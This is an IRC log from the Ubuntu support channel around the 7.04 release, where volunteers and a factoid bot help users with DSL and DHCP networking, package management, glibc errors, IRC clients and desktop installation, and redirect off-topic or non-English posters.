[08:54] <POVaddct> drewzf: if the dsl modem (not router) is connected the computer, you must use pppoeconf
[08:54] <CientificoLoco> hello everybody, how do I install a countdown to ubuntu 7.04 in my desktop? is a countdown there?
[08:54] <tommytom> que pasa?
[08:54] <DarkGenesis> if
[08:55] <DarkGenesis> i spam
[08:55] <DarkGenesis> here
[08:55] <DarkGenesis> does it
[08:55] <DarkGenesis> lags?
[08:55] <DarkGenesis> lol jk
[08:55] <Pici> !enter | DarkGenesis
[08:55] <ubotu> DarkGenesis: Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[08:55] <CientificoLoco> tommytom, go to #ubuntu-es
[08:55] <Trek^> drewzf: what's dhcp?
[08:55] <Pici> !spam | DarkGenesis
[08:55] <ubotu> DarkGenesis: Unsure how you should behave on this channel? See !CoC, !Guidelines, !Offtopic, !Language, !Attitude, !Repeat, !Enter, !Paste, !NickSpam, !AskTheBot - and most importantly, use common sense :-)
[08:55] <drewzf> POVaddct: I've never had DSL. I've always had cable
[08:55] <jrib> !es |  tommytom
[08:55] <ubotu> tommytom: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[08:55] <BenjaminJohnston> why don't you just upgrade to to it right now... clienti
[08:55] <POVaddct> drewzf: here in europa cable modems are the expection
[08:55] <Pici> CientificoLoco: Countdown? You mean to release?
[08:55] <BenjaminJohnston> I've also been on it for a while
[08:55] <michup> i cant find GLIBC_2.4 in repository
[08:55] <michup> im using ubuntu edgy
[08:55] <tommytom> CientificoLoco: i was joking. luz said "hola"
[08:56] <POVaddct> drewzf: normally you'd have a dsl modem (pppoe) or a dsl router (dhcp)
[08:56] <CientificoLoco> Pici, I wanna know if there is a countdown for my desktop for to do it fun.. you know!
[08:56] <Pici> CientificoLoco: Not that I'm aware of.
[08:56] <drewzf> POVaddct: You should probably assist Trek^ then, I've little experience with DSL.
[08:57] <jrib> !info libc6-dev | michup
[08:57] <ubotu> michup: libc6-dev: GNU C Library: Development Libraries and Header Files. In component main, is optional. Version 2.4-1ubuntu12.3 (edgy), package size 1808 kB, installed size 7872 kB
[08:57] <soundray> It's impossible to help Trek^ -- he or she doesn't answer the simplest of questions about his or her setup
[08:57] <tatters>  running feisty, installed kubuntu-desktop and kde ,kdm practically anything that started with a K :P  2 problems my screen resolution changes if I change session and my k/board settings are uk for gnome and us for kubuntu ?
[08:57] <POVaddct> Trek^: do you know if your need dhcp or pppoe for talking to your adsl "modem"?
[08:57] <CientificoLoco> Pici, ok thak you!!
[08:57] <CientificoLoco> bye all
[08:57] <jrib> michup: do you have the main repository?
[08:57] <michup> jrib, please wait a sec a belive ive installed libc6-dev
[08:57] <bubuntu> I use dhcp
[08:58] <kerik> hey guys
[08:58] <regress> is there a specific time that Feisty will be released? Like, 00:01, or 23:59?
[08:58] <kbrooks_> How do I remove Gaim?
[08:58] <bubuntu> but it doesn't work now
[08:58] <jrib> kbrooks_: sudo aptitude remove gaim
[08:58] <Kleber_> hello folks, I have a problem when I try to print the contacts on evolution, the print cuts on blind area of printer (it doesn't respect the margins), is there any tip about that ?
[08:58] <bubuntu> i'm trying a different distribution and it still won't connect
[08:58] <kerik> POVaddct: hey there
[08:58] <kbrooks_> jrib, thanks.
[08:58] <POVaddct> hi kerik
[08:59] <kILLu> hi
[08:59] <kerik> POVaddct: everything is working as a breeze with this card now :)
[08:59] <Trek^> POVaddct: Im not familiar with it
[08:59] <kILLu> how to start daemons in ubuntu? (i want to start nessus)
[08:59] <POVaddct> kerik: fine :)
[08:59] <JacktheHomeless> I'm having problems getting ktorrent 2.1.3 working on Ubuntu Edgy. Anyone care to give me a hand?
[08:59] <POVaddct> Trek^: did you already try   sudo dhclient eth0 ?
[08:59] <tommytom> whats the diff between adsl and dsl? i thought just the type (requiring password etc is regardless of type)
[08:59] <Pici> kILLu: The command to start nessus is `sudo nessusd`
[08:59] <boubbin> !lamp
[08:59] <ubotu> LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[09:00] <saik0> kILLu: invoke-rc.d whatever start
[09:00] <kerik> POVaddct: I forgot to ask you something yesterday...If I have still got a little credit left on my "support card"
[09:00] <michup> jrib, yes ive libc6-dev intalled
[09:00] <michup> but ive message error
[09:00] <jrib> michup: k, then you have glibc
[09:00] <Pici> saik0: I suggested the other way because I couldnt remember if nessusd got an rc entry
[09:00] <michup> hi, ive problem ./ccg_server: ./lib/libc.so.6: version `GLIBC_2.4' not found (required by /usr/lib/libSDL-1.2.so.0)
[09:00] <kILLu> thx
[09:00] <POVaddct> kerik: hehe. just ask.
[09:00] <Trek^> POVaddct: I'm not using Ubuntu rightnow.
[09:00] <soundray> tommytom: the 'a' is for asymmetric (upload speeds < download speeds)
[09:01] <kILLu> whats the default root pw after install?
[09:01] <POVaddct> Trek^: what are you using instead?
[09:01] <soundray> kILLu: there isn't any
[09:01] <jrib> !root > kILLu    (kILLu, see the private message from ubotu)
[09:01] <tommytom> soundray: thats what i thought. they are acting like adsl requires a password.
[09:01] <kerik> POVaddct: if I should join another wireless network sometime...how do I change the wpa and essid?
[09:01] <jrib> michup: what is ccg_server?
[09:01] <tommytom> trek^: does ur ISP require a pass?
[09:01] <Trek^> POVaddct: I'm using XP for the meantime
[09:01] <bubuntu> 192.168.1.1 the router won't even ping back...
[09:02] <soundray> tommytom: most providers require a password to connect to DSL
[09:02] <POVaddct> kerik: the file /etc/wpa_supplicant/wpa_supplicant.conf can have more than one entry
[09:02] <tommytom> soundray: hmm u used verizon DSL. never had to use a pass
[09:02] <michup> jrib http://gccg.sourceforge.net
[09:02] <tommytom> i used*
[09:02] <kerik> POVaddct: So I simply add it there?
[09:02] <warior> i have problem with subtitles in mplayer special slovakian chars are not displayed properly, totem is not working with avi files...
[09:02] <POVaddct> kerik: so you can generate another SSID section with wpa_passphrase and append it to the file
[09:02] <soundray> tommytom: did they supply a modem/router?
[09:03] <Trek^> tommytom: it doesn't require a password
[09:03] <bubuntu> POVaddct,  : I think Trek^  and I share a similar problem..
[09:03] <kerik> POVaddct: :D great
[09:03] <michup> jrib: http://gccg.sourceforge.net/manual/#sec2.3.
[09:03] <POVaddct> kerik: wpa_supplicant automatically connects to the SSID it finds during scanning
[09:03] <tommytom> trek^: do you ahve a router or just the modem? is the modem also a router?
[09:03] <thau> I read about this PATA disk problem on some kernels, people experience slowdowns and lockups. Anyone knows a fix for that? Running live disc now, and really want to install.. don't like the idea of slowdowns though.
[09:03] <kerik> POVaddct: so if I add 2 or 3 it simply connects to the one found?
[09:04] <POVaddct> Trek^: unless you know how your dial in works, there is no way to configure it
[09:04] <Id2ndR> Hi everybody, do you know how to ship Ubuntu CD's of feisty for a LUG ?
[09:04] <Pici> Id2ndR: Shipit.
[09:04] <POVaddct> Trek^: you have to know if it is PPPoE or something other mechanism
[09:04] <jrib> michup: how come it says you need glibc 2.3 on the home page?
[09:04] <Trek^> tommytom: adsl modem only.i dont have a router
[09:04] <Pici> Id2ndR: Or at least thats the way that you can get free CDs.
[09:04] <bubuntu> I'm using knoppix at the moment on a laptop. The ubuntu box has not had an internet connection in months.
[09:04] <JacktheHomeless> I'm having problems getting ktorrent 2.1.3 working on Ubuntu Edgy. Anyone care to give me a hand?
[09:04] <POVaddct> Trek^: and no, i dont use windows xp at all. so xp config is of no use for me.
[09:04] <Id2ndR> Pici: thanks but I can find large quantities for a group
[09:05] <Saimon>  
[09:05] <tommytom> trek^: as long as you have a network card and cable you should be bale to just hook them up. DHCP does the rest
[09:05] <POVaddct> kerik: yeah, it searches for the network names (SSIDs) it has in the wpa_supplicant.conf file
[09:05] <Saimon> 
[09:05] <bubuntu> POVaddct: I know what my dial in works. DHCP. But I can't even get into the router through my browser 192.168.1.1
[09:05] <Saimon> 
[09:05] <jrib> Saimon: english please
[09:05] <kerik> POVaddct: arh!
[09:05] <soundray> Saimon: your special characters test has worked. Now stop please.
[09:05] <Trek^> tommytom: thank you!
[09:06] <POVaddct> bubuntu: thats strange
[09:06] <Saimon> soundray ~GJITK YF[EQ
[09:06] <Saimon> 
[09:06] <Trek^> by the way, what do you mean by throlling?
[09:06] <Saimon> 
[09:06] <morrolan> exit
[09:06] <tommytom> trek^ so long as your network adapter is working (i.e. drivers isntalled)
[09:06] <warior> i have problem with subtitles in mplayer special slovakian chars are not displayed properly, totem is not working anyway with avi files...
[09:06] <thau> Anyone else has problems with pata drives?
[09:06] <POVaddct> bubuntu: and you are sure you got the ip address from dhpc?
[09:06] <michup> jrib, im trying to start a server for gccg- generic colectable card game
[09:07] <bubuntu> POVaddct,  I can access the router using this machine...
[09:07] <abb0tt-1> I have found this file that i believe is a bug fix, abiword_grammar.debdiff, is this a patch and how do i "run" this patch?
[09:07] <POVaddct> bubuntu: is it wired or wireless?
[09:07] <jrib> michup: I understand that, but I don't know anything about the game to tell you why it isn't working.  Have you tried their mailing list (if they have one)?  You may need to recompile it yourself, but i am just guessing
[09:07] <BaACkUp> 1189 users are too much i guess
[09:08] <POVaddct> BaACkUp: it's hard to keep up with the messages, yes
[09:08] <kerik> POVaddct: just a little sidedish...are you into programming? - and can you tell me which apps would be good to code in?
[09:08] <bubuntu> POVaddct,  I am using a laptop connected to the same router. My ubuntu box has a new card with a wire this time. returned the wireless thinking it was the problem. after plugging the new card in i thought it was going to be internet joy again. but no... arg
[09:08] <michup> jrib, problem is that developers leaves that project
[09:08] <POVaddct> kerik: well i only know C and bash programming
[09:08] <michup> jrib, there was big server for magic the gathering like, magic online server for gccg but it stop working for about 2months
[09:08] <kerik> POVaddct: you don't know which one to use for Java?
[09:08] <soundray> Trek^: you're not working towards resolving your problem. That raises the suspicion that you're just here for fun, wasting everybody's time.
[09:08] <michup> now we try to start the new one
[09:08] <BaACkUp> Povaddct yeah !
[09:09] <BaACkUp> !irc
[09:09] <ubotu> irc is Internet Relay Chat - Ubuntu IRC clients: xchat (http://www.ubuntulinux.org/wiki/XChatHowto), gaim (http://help.ubuntu.com/community/GaimHowto), Konversation (http://konversation.berlios.de/docs/), irssi (console) (https://help.ubuntu.com/community/Irssi) - Also see http://help.ubuntu.com/community/InternetRelayChat and !guidelines
[09:09] <BaACkUp> i want link to Epic
[09:09] <POVaddct> kerik: sorry, no java recommendations from me
[09:09] <BaACkUp> !epic
[09:09] <ubotu> Sorry, I don't know anything about epic - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:09] <kerik> POVaddct: I was recommended Eclipse, but don't know if that is any good....and further more...don't know how to uninstall it if I deside not to use it..
[09:09] <POVaddct> kerik: i simply don't use it
[09:09] <michup> jrib, it works like this there is big factor-server and its working, meta-servere are connecting to him and works like rooms for chat etc, and there are little servers which are tables where ppl can sit and play
[09:09] <kerik> POVaddct: :)
[09:10] <michup> now factory-server and connected to him meta-server are working
[09:10] <bubuntu> POVaddct, it's wired. i don't understand why it isn't working anymore.
[09:10] <POVaddct> bubuntu: so your laptop can get on the net and your ubuntu box cannot?
[09:10] <jrib> michup: I see, I would try to compile it if you have no other ideas
[09:10] <bubuntu> POVaddct, yes.
[09:10] <POVaddct> bubuntu: so it has worked before?
[09:10] <michup> now i try to connect table mtg-server to the meta-server
[09:10] <POVaddct> bubuntu: with the same card?
[09:10] <bubuntu> POVaddct, it has... with the wireless card.
[09:10] <kerik> POVaddct: but can you tell me how to uninstall if I deside to not use it?
[09:10] <Trek^> soundray: that's why im here on this channel because i need help. im a novice. good for you. you're an expert already
[09:10] <casso> uu
[09:10] <kerik> POVaddct: cause that I have never tried...
[09:10] <bubuntu> POVaddct, it has never worked with this new one.
[09:10] <gils> anyone here use bcrypt for file encryption?
[09:11] <POVaddct> kerik: unstall what?
[09:11] <alchemikaz> I can only open web pages if I write ip adress, so there's something wrong with dns, but if I ping i.e. www.google.com and then try to open it, everything is ok, so what is wrong?
[09:11] <kerik> POVaddct: well...actually just applications in general...I have never tried, so have never figured out how to do so...
[09:11] <zanexx297> hello, how do i open synaptic package manager?
[09:11] <POVaddct> bubuntu: does the card appear as eth0?
[09:11] <offspring> What's the code snippet that turns on the desktop?
[09:12] <cvk77> zanexx297: System /Administration / Package Manager
[09:12] <bubuntu> POVaddct, yes it does. and it can ping the 127.0.0.1
[09:12] <soundray> Trek^: I tried to help you, but you didn't answer my questions.
[09:12] <michup> jrib, if you are interesting magic card game you can simple install it using this manual http://gccg.sourceforge.net and log in to the meta-server ill give you IP
[09:12] <BaACkUp> which is best irc client for linux
[09:12] <POVaddct> kerik: on the command line: sudo apt-get remove packagename
[09:12] <NickGarvey> Trek^: sarcasm isn't the best way to get help :\
[09:12] <chexay> i like irssi
[09:12] <zanexx297> thanks i looked right over it
[09:12] <gr3ml1n> BaACkUp: irssi
[09:12] <gr3ml1n> ^_^
[09:12] <cvk77> !info xchat | BaACkUp
[09:12] <ubotu> baackup: xchat: IRC client for X similar to AmIRC. In component universe, is optional. Version 2.6.6-0ubuntu3 (edgy), package size 275 kB, installed size 760 kB
[09:12] <bubuntu> POVaddct, it detects the card. eth0 and even knows its d-link
[09:12] <Pici> !best | BaACkUp
[09:12] <ubotu> BaACkUp: Usually, there is no single "best" application to perform a given task. It's up to you to choose among a number of different applications, depending on your preferences, the features you require, and other factors.
[09:12] <POVaddct> kerik: or use the graphical package manager (synaptic)
[09:12] <michup> jrib, meta-server ip is : 88.161.150.94 at port 29100
[09:12] <NickGarvey> BaACkUp: matter of preference, some people like xchat, some like gaim, some like irssi, try em all to see what you like
[09:12] <jrib> michup: thanks, but I am not that interested in the game.  I hope you get it to work though
[09:12] <kerik> POVaddct: it's that simple????
[09:13] <kerik> POVaddct: you are a friend in need...thanks again...*thanks and bows*
[09:13] <POVaddct> kerik: you mean synaptic?
[09:13] <Trek^> NickGarvey: Are you judging me?
[09:13] <BaACkUp> gaim has problems.. it just tries to connet on 6667 port... and my irc just works on port 6666 so gaim cancel
[09:13] <michup> when i try to run table : ./Server --server 80.161.150.94 --bet 0 --players 2 mtg
[09:13] <cvk77> NickGarvey: i even heard of people who prefer konversation ;)
[09:13] <NickGarvey> cvk77: treason!
[09:13] <kerik> POVaddct: no the command line...seems so simple :)
[09:13] <NickGarvey> Trek^: no, just giving you advice :)
[09:13] <POVaddct> kerik: ah okay :)) commmand line rocks
[09:13] <tommytom> Pici: !best | BaACkUp <<-- lol i love that
[09:13] <NickGarvey> Trek^: take it or leave it :)
[09:14] <POVaddct> bubuntu: can you try this:   sudo tcpdump -ni eth0
[09:14] <BaACkUp> !irc
[09:14] <ubotu> irc is Internet Relay Chat - Ubuntu IRC clients: xchat (http://www.ubuntulinux.org/wiki/XChatHowto), gaim (http://help.ubuntu.com/community/GaimHowto), Konversation (http://konversation.berlios.de/docs/), irssi (console) (https://help.ubuntu.com/community/Irssi) - Also see http://help.ubuntu.com/community/InternetRelayChat and !guidelines
[09:14] <POVaddct> bubuntu: and make some traffic from the notebook
[09:14] <gils> bcrypt encryption tool!! anyone use this before? i got some issues i need help with
[09:14] <kerik> POVaddct: sure does
[09:14] <offspring> What's the code snippet that turns on the desktop?
[09:14] <n00t2> !mdadm
[09:14] <reydelsillon> how is the comand to edit in terminal? $kadesu kate /file ???
[09:14] <ubotu> Sorry, I don't know anything about mdadm - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:14] <zanexx297> how do i run an exe?
[09:14] <michup> options are --server which means its a table not meta-server next is --bet means how much money is to won --players and mtg which means its a table for magic
[09:14] <POVaddct> bubuntu: then you should see some packet dumps in the output of tcpdump
[09:14] <michup> and ive error
[09:14] <Trek^> NickGarvey: I dont think so your giving an advice
[09:14] <n00t2> anyone have any experience with mdadm
[09:14] <kerik> POVaddct: guess it's just to get going and install :)
[09:14] <cvk77> offspring: "turns on the desktop"?
[09:15] <TATARIN> 
[09:15] <NickGarvey> Trek^: that wasn't a sentence
[09:15] <michup> Running ./ccg_server  --server 80.161.150.94 --bet 0 --players 2 --load server.triggers mtg.xml (Server script PID 30903)
[09:15] <michup> ./ccg_server: ./lib/libc.so.6: version `GLIBC_2.4' not found (required by /usr/lib/libSDL-1.2.so.0)
[09:15] <TATARIN>   ???
[09:15] <cvk77> zanexx297: nota t all. there are no EXEs on linux
[09:15] <offspring> I install the server version, it's command line.
[09:15] <POVaddct> argh, information overflow :] 
[09:15] <Pici> !english | TATARIN
[09:15] <ubotu> TATARIN: The #ubuntu, #kubuntu and #xubuntu channels are english only. For a complete list of channels in other languages, please visit http://help.ubuntu.com/community/InternetRelayChat
[09:15] <TATARIN>     ?????
[09:15] <ondobondo> hi everyone, how do I output (nicely) TOP into a file? I've tried top > some file and the result is quite messy. thx
[09:15] <offspring> Command line beat me, so I installed the desktop but it's not triggering
[09:15] <TATARIN> Pici  
[09:15] <reydelsillon> how is the comand to edit in terminal? $kadesu kate /file ???
[09:15] <kerik> POVaddct: does it remove everything when using the remove, or is it as bad as the windows similarity?
[09:15] <Pici> zanexx297: You'd have to run it using Wine.
[09:15] <TATARIN> ZDEC` KTONIT` GOVARIT PO RUCKI?????
[09:15] <soundray> offspring: try 'sudo invoke gdm start'
[09:15] <kerik> POVaddct: yeah you must feel flooded :)
[09:15] <soundray> offspring: try 'sudo invoke-rc.d gdm start'
[09:15] <TATARIN> ZDEC` KTONIT` GOVARIT PO RUCKI?????
[09:15] <cvk77> !suaheli | TATARIN
[09:15] <soundray> sry
[09:15] <ubotu> Sorry, I don't know anything about suaheli - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:16] <TATARIN> cvk77 CHE OPYAT`??
[09:16] <bubuntu> POVaddct, wait restarting... i was running dyne:bolic on livecd no internet with that either... another distribution no internet still
[09:16] <NickGarvey> cvk77: do you know whatl anguage that is?
[09:16] <TATARIN> YA VASHE NE VTIKAU CHTO TI PISHESH
[09:16] <michup> Server returned error, sleeping for a moment
[09:16] <michup> sleep: relocation error: ./lib/libc.so.6: symbol _dl_out_of_memory, version GLIBC_PRIVATE not defined in file ld-linux.so.2 with link time reference
[09:16] <soundray> jrib: please do something about tatarin
[09:16] <cvk77> NickGarvey: i haven't got the slightest idea
[09:16] <POVaddct> kerik: apt-get remove also removes packages depending on the removed package
[09:16] <NickGarvey> cvk77: looks like meaning less spam at first glance..
[09:16] <jrib> !ru | TATARIN
[09:16] <ubotu> TATARIN:    #ubuntu-ru       /  Pozhalujsta vojdite v #ubuntu-ru dlq pomoshchi na russkom qzyke
[09:16] <POVaddct> kerik: and you can also try deborphan. that shows you unused libraries.
[09:16] <TATARIN> ubotu YA VAC NE PANIMAU
[09:16] <kerik> POVaddct: cool
[09:16] <offspring> soundray, my system didn't like the command "envoke"
[09:16] <cvk77> jrib: probalby ain't russian
[09:16] <TATARIN> GOVARI PO RUCKI
[09:17] <Saimon>  
[09:17] <NickGarvey> cvk77: yeah its certainly not
[09:17] <soundray> offspring: try 'sudo invoke-rc.d gdm start'
[09:17] <Saimon> 
[09:17] <TATARIN> HAH
[09:17] <alchemikaz> I can only open web pages if I write ip adress, so there's something wrong with dns, but if I ping i.e. www.google.com and then try to open it, everything is ok, so what is wrong?
[09:17] <kerik> POVaddct: that's a program?
[09:17] <cvk77> NickGarvey: it's a language that makes me wanna *plonk* him
[09:17] <Saimon> - 
[09:17] <POVaddct> kerik: deborphan? yes
[09:17] <cvk77> jrib: thanks ;)
[09:17] <soundray> Thanks jrib
[09:17] <kerik> POVaddct: :) will try to install that one :)
[09:17] <reydelsillon> how is the comand to edit in terminal? $kadesu kate /file ???
[09:17] <eifzon> how can i change my graphic card size?
[09:18] <rsk> eifzon in xorg.conf
[09:18] <cvk77> eifzon: err... what?
[09:18] <n00t2> uhhh, resolution?
[09:18] <bubuntu> POVaddct, warning no ipv4 assigned
[09:18] <stork> eifzon, wtf?
[09:18] <michup> jrib, so how you can see its claims for glibc 2.4 dunno why
[09:18] <POVaddct> bubuntu: then you didnt get any dhcp lease
[09:18] <eifzon> kk rsk
[09:18] <kerik> POVaddct: hmm...doesn't seem to be found in apt-get?
[09:18] <bubuntu> POVaddct, what do you mean?
[09:18] <offspring> soundray, "/etc/init-d/gdm not found"  Something didn't get installed?
[09:18] <michup> jrib, and i have libc6-dev installed
[09:18] <Death_Sargent> ok my laptop acpi is all out of wack
[09:18] <kerik> POVaddct: no installation candidat...
[09:18] <Pici> offspring: /etc/init.d/gdm
[09:18] <n00t2> is there a server support only channel?
[09:19] <LjL> n00t2: no
[09:19] <eifzon> how can you JUST edit the graphic rsk? like "sudo dpkg reconfigure xserver xorg
[09:19] <POVaddct> kerik, bubuntu: sorry, i can only handle one of you
[09:19] <Death_Sargent> how about laptop support
[09:19] <bubuntu> POVaddct, lease? verbose output suppressed
[09:19] <soundray> offspring: re-run 'sudo apt-get install ubuntu-desktop' until it says "No packages updated/installed" or similar
[09:19] <Death_Sargent> !chanels
[09:19] <offspring> ahhh.
[09:19] <ubotu> Sorry, I don't know anything about chanels - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:19] <LjL> !irc
[09:19] <ubotu> irc is Internet Relay Chat - Ubuntu IRC clients: xchat (http://www.ubuntulinux.org/wiki/XChatHowto), gaim (http://help.ubuntu.com/community/GaimHowto), Konversation (http://konversation.berlios.de/docs/), irssi (console) (https://help.ubuntu.com/community/Irssi) - Also see http://help.ubuntu.com/community/InternetRelayChat and !guidelines
[09:19] <offspring> it did say something didh't download.
[09:19] <jrib> michup: it's actually just libc6 that lets you use it, libc6-dev is if you want to compile with glibc.  I don't know why your program does not work, my only suggestion is for you to try to compile it yourself
[09:19] <POVaddct> bubuntu: you know what a dhcp lease is?
[09:19] <offspring> thanks.
[09:19] <Death_Sargent> !channels
[09:19] <ubotu> A list of Freenode channels is available via http://freenode.net/faq.shtml#channellist - Ubuntu related channels can be found on https://help.ubuntu.com/community/InternetRelayChat
[09:19] <kerik> POVaddct: think it's bubuntu's turn :)
[09:19] <POVaddct> !easyubuntu | kerik
[09:19] <ubotu> kerik: easyubuntu is a script that automates installation of some items. Use at your own risk. See http://easyubuntu.freecontrib.org/ - For help and or discussions about EasyUbuntu please join #easyubuntu
[09:19] <bubuntu> POVaddct, no...
[09:20] <michup> jrib, okay ill try thx
[09:20] <offspring> Thanks.
[09:20] <POVaddct> kerik: no, forget that link
[09:20] <babo> either I don't have a root password or my root password isn't what I think it is ...
[09:20] <POVaddct> kerik: google for source-o-matic
[09:20] <babo> what can I do ?
[09:20] <bubuntu> POVaddct, no... i have a vague idea what dhcp is.
[09:20] <Popoi> amr codec seems to be present in my ffmpeg instalation (If I use $ ffmpeg -formats .. its show it).. but when I try to convert a file using this codec I can't do it, It says the codec is missing. how can I enable it?
[09:20] <jrib> babo: did you ever explicitly create a root password?
[09:20] <offspring> Thanks soundray
[09:20] <soundray> !root > babo, please read ubotu's private message
[09:20] <POVaddct> bubuntu: if you dont ever know network basics it will be hard
[09:20] <bubuntu> POVaddct, so do you know what's wrong with the machine now?
[09:21] <ondobondo> how do I output the top command into a file ?
[09:21] <babo> soundray: right. thanks I'm aware of what sudo is. I'd like to go to root though ...
[09:21] <alanhaggai> top > filename
[09:21] <POVaddct> bubuntu: no, the information is much too vague
[09:21] <alanhaggai> top | tee filename
[09:21] <alanhaggai> Any will do.
[09:21] <Pici> ondobondo: try `top > filename`
[09:21] <POVaddct> bubuntu: only thing i know is that the eth0 interface does not get a ip address from the dhcp server
[09:21] <bubuntu> POVaddct,  listening to eth0 capture size 96 bytes...
[09:21] <warior> when i tried to play avi in toten it writes out Internal data flow error.
[09:22] <tommytom> bubuntu: DHCP = basically random ips in a set range determined by your router. Lease = the current ip "assigned" to you. lease is used when that ip expires. sorta like "rent" the ip
[09:22] <ondobondo> I've tried top>file name and is a mess... I'll try top | tee filename
[09:22] <POVaddct> bubuntu: yeah, but is there more than this message?
[09:22] <ondobondo> thx
[09:22] <alanhaggai> No problem :)
[09:22] <bubuntu> POVaddct,  no return to prompt
[09:22] <reydelsillon> how is the comand to edit in terminal? $kadesu kate /file ???
[09:22] <bubuntu> POVaddct,  can you tell me more commands to ba able to answer and get more specific...
[09:23] <bubuntu> POVaddct,  do you think its possibly a hardware thing?
[09:23] <dac> is it possible to delete email address trail and then forward to others?
[09:23] <POVaddct> bubuntu: which system do you run now?
[09:23] <POVaddct> bubuntu: maybe it is a hardware thing
[09:23] <jrib> !offtopic | dac
[09:23] <ubotu> dac: #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[09:23] <bubuntu> POVaddct,  which system?
[09:24] <POVaddct> bubuntu: the system you run at the moment on the box which does not get on the net
[09:24] <bubuntu> POVaddct,  i could put it into another slot? maybe the slot is broken?
[09:24] <dac> ok,sorry
[09:24] <tommytom> bubuntu: im no linux expert but either DHCP isnt setup correctly on your PC or something isnt set with your router
[09:24] <bubuntu> POVaddct,  now it's ubuntu...
[09:24] <POVaddct> bubuntu: how should i know? its your machine
[09:24] <bubuntu> POVaddct,  now it's ubuntu the old one. haven't been able to upgrade...
[09:25] <tommytom> bubuntu: you dont really NEED dhcp. as logn as you set the ip/subnet/gateway/dns correctly to an ip cupported by the router and point dns/gateway to the router
[09:25] <eifzon> how can i just edit my resulition?
[09:25] <POVaddct> bubuntu: okay. do this:  ip a    do you see more that one eth-interface in the output?
[09:26] <offspring> I have the desktop.iso,  can I use that to install the desktop? How do I access from the command line?
[09:26] <bubuntu> POVaddct, eth-interface in the output ? what am i looking for here?
[09:27] <tommytom> offspring: that made no sense. can you revise that?
[09:27] <kneeki> Hmm, while using Shared Folders to share a folder on my Ubuntu machine w/ my Windows, I get this error (in windows) while trying to map the drive. 'The mapped network drive could not be created because the following error has occured: An extended error has occured.' Any ideas?
[09:27] <big_bang14> i need to edit some file in a windows brief case that are on my usb flash drive, i need to do this for school, is there any program that will do this using the same brief case as windows?
[09:27] <kneeki> Ugh, nevermind. It was a windows bug *shakes fist*
[09:28] <bubuntu> tommytom, router is working fine. i'm using it right now... DHCP setup? how to do this? I am using dhcp now on this machine... don't know why ubuntu machine won't get dhcp lease
[09:28] <Ashbringer> hey, anyone know what time feisty goes stable?
[09:28] <POVaddct> bubuntu: you can read, can't you? its obvious where eth0 is
[09:28] <LjL> Ashbringer: april 19, probably
[09:28] <RichiH> Ashbringer: afaik that will tomorrow
[09:28] <Ashbringer> LjL: yeah, but what time
[09:28] <RichiH> heh
[09:28] <PriceChild> Ashbringer, when its ready
[09:28] <zanexx297> is there a way to dial a pppoe conection on ubuntu?
[09:28] <YetiChick> Ashbringer:  Anxious, are we?  :)
[09:28] <LjL> Ashbringer: i think two microseconds after the third half of the seventh second after 3:45 am
[09:29] <Ashbringer> PriceChild: I've been testing it since alpha and now that its beta its my prime OS, I just want to know how many hours
[09:29] <POVaddct> zanexx297: yes. use pppoeconf to set it up
[09:29] <bubuntu> POVaddct,  Are we talking about System > Administration > Networking > Eth0 ?
[09:29] <Pelo> zanexx297,  isn'T a ppp0e a dsl protocol ?
[09:29] <offspring> sure. I installed the server version, it's command line. I want to install the desktop. I don't have a network connection right now, so I want to see if I can finish the desktop install from the desktop.iso.
[09:29] <warior> when i tried to play avi in toten it writes out Internal data flow error.
[09:29] <PriceChild> RichiH, we can neither confirm nor deny that ;)
[09:29] <big_bang14> i need to edit some file in a windows brief case that are on my usb flash drive, i need to do this for school, is there any program that will do this using the same brief case as windows?
[09:29] <CapaH> Does anyone here use a Radeon X800 (or similar) Graphics card, with dual monitors? Anyone?
[09:29] <zanexx297> POV where do i find pppoeconf?
[09:29] <RichiH> PriceChild: yah, if i really wanted to know, i would beat it out of jenda_ or someone ;)
[09:29] <POVaddct> bubuntu: no i am talking about typing in  "ip a"  in a terminal window. sorry, i thought you were familiar with the command line
[09:29] <zanexx297> im new to linux
[09:30] <crackintosh> is there an ubuntuserver channel?
[09:30] <POVaddct> zanexx297: no gui program, use a terminal window
[09:30] <bubuntu> POVaddct,  Oh. I typed it in nothing happened. But I don't have a prompt.
[09:30] <PriceChild> RichiH, haha
[09:30] <Pelo> big_bang14,   a windows breifcase it just a folder setup to syncronse with a local folder,  but you can access it on any compter as a normal folder
[09:30] <zanexx297> can you private me the commands POV?
[09:30] <RichiH> PriceChild: having slaves^Wstaff in all major distros is a plus
[09:30] <POVaddct> bubuntu: where did you type it?
[09:30] <bubuntu> POVaddct,  How to get back from prompt from previous command?
[09:31] <Pelo> big_bang14,  assuming it isnT' encrypted
[09:31] <POVaddct> zanexx297: no, i have too many conversations here
[09:31] <gils> hi...how is everyone......does anyone know the usage of bcrypt!!?
[09:31] <tommytom> offspring: ermmm... dunno about that. i would say apt-get gnome or something but you dont have net. you could always do it manually but thats messy. ill leave that to someone that didnt install linux just yesterday
[09:31] <POVaddct> bubuntu: just press the cursor up key
[09:31] <bubuntu> POVaddct,  Still in the previous tcpdump command.
[09:31] <zanexx297> do you know where i can find them on the net?
[09:31] <POVaddct> bubuntu: oh i see. press  ctrl-c
[09:32] <bubuntu> POVaddct,  10 packets captured 20 packets recieved by filter 0 packets dropped by kernel. thanks. ctrl -c nifty.
[09:32] <Pelo> zanexx297,  are you trying to setup a dial up connection or a dsl one ?
[09:32] <JacktheHomeless> Anyone wanna give me a hand getting Ktorrent 2.1.3 running in ubuntu edgy?
[09:33] <verb3k> PriceChild: sorry for my stream of questions ...but I need to know if I can burn a CD ISO on a DVD ....will it work and boot normally? Thanks in advance
[09:33] <crackintosh> my keyboard is all screwed up in terminal, when I press delete I get a tilde. and when I press left I get the letter C. How do I go about changing the key mappings?
[09:33] <kerik> POVaddct: POVaddct hmmm...after updating sources.list I still seem to be unable to find the deborphan..
